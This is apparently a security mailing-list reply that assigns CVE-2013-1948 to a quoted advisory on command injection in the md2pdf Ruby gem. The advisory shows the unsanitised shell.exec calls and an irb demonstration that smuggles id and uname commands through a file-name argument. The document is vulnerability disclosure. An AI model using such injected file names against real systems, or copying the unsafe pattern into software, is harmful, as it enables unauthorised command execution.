Re: Remote command injection md2pdf ruby gem

[Kurt Seifried <kseifried () redhat com>]

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On 04/12/2013 08:09 PM, Larry W. Cashdollar wrote:
> Remote command injection md2pdf ruby gem
>
> /4/10/2013/ 
> ------------------------------------------------------------------------
>
>  Description: "creates pdf documents from markdown documents"
>
> https://rubygems.org/gems/md2pdf
>
> In md2pdf/converter.rb we see user supplied input being passed to
> the command line with out proper sanitization.
>
> 12       shell.exec("pandoc#{options} #{input_filename} -o
> #{output_filename}")
>
> 23 shell.exec("pdftk #{temp_filename} multibackground
> #{background_path} outpu t #{output_filename}")
>
> Where exec is defined as the following:
>
> 37     def exec(command_line) 38       require 'open3' 39
> stdin, stdout, stderr = Open3.popen3(command_line) 40       return
> stdout.read 41     end
>
>
> Notes
>
> irb(main):001:0> require 'open3' => true irb(main):002:0> stdin,
> stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft') 
> => [#, #, #] irb(main):003:0> puts stdout.read uid=1000(larry)
> gid=1000(larry)
> groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC
2013 i686 athlon i386 GNU/Linux
> => nil
>
> http://vapid.dhs.org/advisories/md2pdf-remote-exec.html
>
> This vulnerability doesn't have a CVE yet assigned.
>
> Larry W. Cashdollar @_larry0

Please use CVE-2013-1948 for this issue.



- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
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